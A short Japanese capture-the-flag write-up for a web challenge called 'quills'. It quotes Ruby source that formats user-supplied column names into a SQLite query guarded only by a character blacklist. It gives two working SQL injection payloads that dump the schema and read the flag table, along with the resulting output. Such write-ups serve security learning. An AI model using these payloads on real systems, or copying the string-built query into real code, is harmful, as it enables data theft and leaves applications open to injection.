調査
- Quillとは羽ペンのことらしい
/quills
で検索ができる- Amountで表示個数を指定
- Starting fromで表示するoffsetを指定する
SQLInjectionを感じつつ、まずはProxy履歴を見てみる。
妙なコメントはあるが、特に気にならない。
ソースコード
さすがruby、あまりに簡潔
post '/quills' do db = SQLite3::Database.new "quills.db" cols = params[:cols] lim = params[:limit] off = params[:offset] blacklist = ["-", "/", ";", "'", "\""] blacklist.each { |word| if cols.include? word return "beep boop sqli detected!" end } if !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off) return "bad, no quills for you!" end @row = db.execute("select %s from quills limit %s offset %s" % [cols, lim, off]) p @row erb :specific end
colsのブラックリストが微妙なので、以下を送るとSQLが抜ける。
limit=1&offset=1&cols=group_concat(sql)%20from%20sqlite_master%20union%20select%20sqlite_version()
CREATE TABLE quills ( url varchar(30), name varchar(30), desc varchar(30) ),CREATE TABLE flagtable ( flag varchar(30) )
フラグテーブルを参照するとCTF
limit=1&offset=1&cols=flag%20from%20flagtable%20union%20select%20sqlite_version()
-> actf{and_i_was_doing_fine_but_as_you_came_in_i_watch_my_regex_rewrite_f53d98be5199ab7ff81668df}
ん?regex側に問題があったのか